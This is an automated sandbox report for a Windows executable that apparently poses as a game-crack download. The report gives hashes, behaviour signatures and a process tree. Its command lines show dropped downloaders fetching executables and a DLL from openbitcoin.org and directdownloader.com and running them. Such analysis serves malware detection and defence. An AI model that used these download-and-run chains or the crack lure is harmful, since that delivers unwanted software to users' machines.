Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
160s -
max time network
184s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
25/12/2023, 04:25
Static task
static1
Behavioral task
behavioral1
Sample
0507d7fe7dad30c1188318e78cd85cf3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
0507d7fe7dad30c1188318e78cd85cf3.exe
Resource
win10v2004-20231215-en
General
-
Target
0507d7fe7dad30c1188318e78cd85cf3.exe
-
Size
511KB
-
MD5
0507d7fe7dad30c1188318e78cd85cf3
-
SHA1
5a19fb12b50f9a8294568faf41233a1fdc3130a7
-
SHA256
36c8c85ee180d118882a45d16a5116155e0ad9f8181c5112aa40bd7045df3a92
-
SHA512
036c8eb9a92b4eb8bcad6cd2bef175de1c2990ba686801d75a5f9cf35f7971ac01c8a82683c0cc2687fb64a3e47ec26d4c45bada1093bd70da2780cd96baae1f
-
SSDEEP
12288:4B38O6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:4BsO8XVNCiH7j4RH
Malware Config
Signatures
-
Executes dropped EXE 6 IoCs
pid Process 2380 downloaderSTUB.exe 2608 downloaderSTUB.exe 2676 downloaderSTUB.exe 2600 downloaderDDLR.exe 2560 downloaderOFFER0.exe 2624 preinstaller.exe -
Loads dropped DLL 31 IoCs
pid Process 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 2608 downloaderSTUB.exe 2380 downloaderSTUB.exe 2600 downloaderDDLR.exe 2676 downloaderSTUB.exe 2560 downloaderOFFER0.exe 2608 downloaderSTUB.exe 2380 downloaderSTUB.exe 2600 downloaderDDLR.exe 2676 downloaderSTUB.exe 2560 downloaderOFFER0.exe 2560 downloaderOFFER0.exe 2608 downloaderSTUB.exe 2380 downloaderSTUB.exe 2600 downloaderDDLR.exe 2676 downloaderSTUB.exe 2560 downloaderOFFER0.exe 2380 downloaderSTUB.exe 2600 downloaderDDLR.exe 2608 downloaderSTUB.exe 2676 downloaderSTUB.exe 2560 downloaderOFFER0.exe 2676 downloaderSTUB.exe 2600 downloaderDDLR.exe 2380 downloaderSTUB.exe 2608 downloaderSTUB.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 2 IoCs
resource yara_rule behavioral1/files/0x0009000000014601-4.dat nsis_installer_1 behavioral1/files/0x0009000000014601-4.dat nsis_installer_2 -
Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 2148 wrote to memory of 2380 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 30 PID 2148 wrote to memory of 2380 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 30 PID 2148 wrote to memory of 2380 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 30 PID 2148 wrote to memory of 2380 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 30 PID 2148 wrote to memory of 2608 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 31 PID 2148 wrote to memory of 2608 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 31 PID 2148 wrote to memory of 2608 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 31 PID 2148 wrote to memory of 2608 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 31 PID 2148 wrote to memory of 2676 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 32 PID 2148 wrote to memory of 2676 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 32 PID 2148 wrote to memory of 2676 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 32 PID 2148 wrote to memory of 2676 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 32 PID 2148 wrote to memory of 2600 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 33 PID 2148 wrote to memory of 2600 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 33 PID 2148 wrote to memory of 2600 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 33 PID 2148 wrote to memory of 2600 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 33 PID 2148 wrote to memory of 2560 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 34 PID 2148 wrote to memory of 2560 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 34 PID 2148 wrote to memory of 2560 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 34 PID 2148 wrote to memory of 2560 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 34 PID 2148 wrote to memory of 2624 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 35 PID 2148 wrote to memory of 2624 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 35 PID 2148 wrote to memory of 2624 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 35 PID 2148 wrote to memory of 2624 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 35 PID 2148 wrote to memory of 2624 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 35 PID 2148 wrote to memory of 2624 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 35 PID 2148 wrote to memory of 2624 2148 0507d7fe7dad30c1188318e78cd85cf3.exe 35
Processes
-
C:\Users\Admin\AppData\Local\Temp\0507d7fe7dad30c1188318e78cd85cf3.exe"C:\Users\Admin\AppData\Local\Temp\0507d7fe7dad30c1188318e78cd85cf3.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2148 -
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\stub.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2380
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\OpenCL.dll"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2608
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\updater.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2676
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderDDLR.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\DirectDownloaderInstaller.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2600
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER0.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\optimizer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2560
-
-
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exeC:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe 0 "3dassassins creed 2 crack [skidrow] update patch v1.01 save ga" "Download"2⤵
- Executes dropped EXE
PID:2624
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
58KB
MD5c7f6ed56312c8fbb58ae6ed445c38df4
SHA1e2dba94ef052db774478b9f7198c1a2298b334e5
SHA256fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24
SHA512ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43
-
Filesize
213KB
MD506baef00ae0f0e42fc5fea24fc4eac42
SHA19161574590f09cfe4c24498827386ed57f2e8c58
SHA25619460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8
SHA51229431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486
-
Filesize
45KB
MD54a60b4c7d058db0f7bd8d280db6b391b
SHA178be4ad9cea1e26d7c1d4c5e8e906828b85cf63d
SHA2563425c62349c5e7173e4cfc611f31bd368805c68b5eebdd78c44c7876fd2829be
SHA512035cbcef63dc954145af0c5678539a63a5210dd8ae386645ecffc1a893cfd67721ab155449662754945a343135436989512bdedabd530289b4f66d4d77e651e2
-
Filesize
14KB
MD5a5f8399a743ab7f9c88c645c35b1ebb5
SHA1168f3c158913b0367bf79fa413357fbe97018191
SHA256dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9
SHA512824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977